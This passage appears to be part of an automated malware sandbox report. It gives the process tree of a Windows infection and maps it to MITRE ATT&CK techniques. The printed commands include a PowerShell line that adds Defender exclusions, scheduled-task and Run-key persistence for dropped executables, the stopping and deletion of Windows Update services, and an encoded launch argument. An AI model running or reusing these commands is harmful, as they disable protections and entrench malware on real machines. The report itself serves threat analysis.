    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\21424bc3-3e9a-465f-99a5-2ef4bb6d3551" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:5108
  - - C:\Users\Admin\AppData\Local\Temp\D7D9.exe
      "C:\Users\Admin\AppData\Local\Temp\D7D9.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4700
    - - C:\Users\Admin\AppData\Local\Temp\D7D9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\D7D9.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2668
      - C:\Users\Admin\AppData\Local\64e0a1f4-0f4e-4d75-92a0-3c649fc7314b\build2.exe
        
        "C:\Users\Admin\AppData\Local\64e0a1f4-0f4e-4d75-92a0-3c649fc7314b\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3032
        
        C:\Users\Admin\AppData\Local\64e0a1f4-0f4e-4d75-92a0-3c649fc7314b\build2.exe
        
        "C:\Users\Admin\AppData\Local\64e0a1f4-0f4e-4d75-92a0-3c649fc7314b\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2468
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\64e0a1f4-0f4e-4d75-92a0-3c649fc7314b\build2.exe" & exit
        8⤵
        
        PID:1224
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1080
      - C:\Users\Admin\AppData\Local\64e0a1f4-0f4e-4d75-92a0-3c649fc7314b\build3.exe
        
        "C:\Users\Admin\AppData\Local\64e0a1f4-0f4e-4d75-92a0-3c649fc7314b\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:1804
- C:\Users\Admin\AppData\Local\Temp\D8E3.exe
  C:\Users\Admin\AppData\Local\Temp\D8E3.exe
  2⤵
  - Executes dropped EXE
  PID:2276
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2276 -s 340
    3⤵
    - Program crash
    PID:1776
- C:\Users\Admin\AppData\Local\Temp\DA1D.exe
  C:\Users\Admin\AppData\Local\Temp\DA1D.exe
  2⤵
  - Executes dropped EXE
  PID:4976
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4976 -s 340
    3⤵
    - Program crash
    PID:3416
- C:\Users\Admin\AppData\Local\Temp\E1FE.exe
  C:\Users\Admin\AppData\Local\Temp\E1FE.exe
  2⤵
  - Executes dropped EXE
  PID:4200
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4200 -s 1008
    3⤵
    - Program crash
    PID:640
- C:\Users\Admin\AppData\Local\Temp\E396.exe
  C:\Users\Admin\AppData\Local\Temp\E396.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Users\Admin\AppData\Local\Temp\E396.exe
    C:\Users\Admin\AppData\Local\Temp\E396.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3060
  - - C:\Users\Admin\AppData\Local\Temp\E396.exe
      "C:\Users\Admin\AppData\Local\Temp\E396.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:2736
    - - C:\Users\Admin\AppData\Local\Temp\E396.exe
        
        "C:\Users\Admin\AppData\Local\Temp\E396.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:668
      - C:\Users\Admin\AppData\Local\46ceaa26-dafe-48bc-afbb-9e822e7105e7\build2.exe
        
        "C:\Users\Admin\AppData\Local\46ceaa26-dafe-48bc-afbb-9e822e7105e7\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1776
        
        C:\Users\Admin\AppData\Local\46ceaa26-dafe-48bc-afbb-9e822e7105e7\build2.exe
        
        "C:\Users\Admin\AppData\Local\46ceaa26-dafe-48bc-afbb-9e822e7105e7\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3972
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\46ceaa26-dafe-48bc-afbb-9e822e7105e7\build2.exe" & exit
        8⤵
        
        PID:3536
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3860
      - C:\Users\Admin\AppData\Local\46ceaa26-dafe-48bc-afbb-9e822e7105e7\build3.exe
        
        "C:\Users\Admin\AppData\Local\46ceaa26-dafe-48bc-afbb-9e822e7105e7\build3.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1540
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3988
- C:\Users\Admin\AppData\Local\Temp\DFFA.exe
  C:\Users\Admin\AppData\Local\Temp\DFFA.exe
  2⤵
  PID:1540
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Executes dropped EXE
    PID:4940
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1540 -s 1196
    3⤵
    - Program crash
    PID:4624
- C:\Users\Admin\AppData\Local\Temp\ED99.exe
  C:\Users\Admin\AppData\Local\Temp\ED99.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5000
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Executes dropped EXE
    PID:1080
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 1496
    3⤵
    - Program crash
    PID:4108
- C:\Users\Admin\AppData\Local\Temp\F21E.exe
  C:\Users\Admin\AppData\Local\Temp\F21E.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3200
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1936
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4008
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1532
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4724
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4356
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:912
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4456
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:736
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4960
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1300
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1912
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2908
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3012
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:748
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:3464
- C:\Users\Admin\AppData\Local\Temp\AC57.exe
  C:\Users\Admin\AppData\Local\Temp\AC57.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:2220
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1660 -s 700
    3⤵
    - Program crash
    PID:4168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3200
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:3876
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1968
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5012
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3776
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1540
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3564
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1824
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3664
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:3528
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1044
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1636
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:1340
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:5108
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4744
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1704
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  PID:4476
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:452
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3340
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:828
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  PID:3936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2276 -ip 2276
1⤵
PID:2032

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe" /F
1⤵
- Creates scheduled task(s)
PID:2916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4976 -ip 4976
1⤵
PID:452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1540 -ip 1540
1⤵
PID:1564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5000 -ip 5000
1⤵
PID:2088

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:1452

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4200 -ip 4200
1⤵
PID:4744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1660 -ip 1660
1⤵
PID:4408

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:1452

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:3484
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:3132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery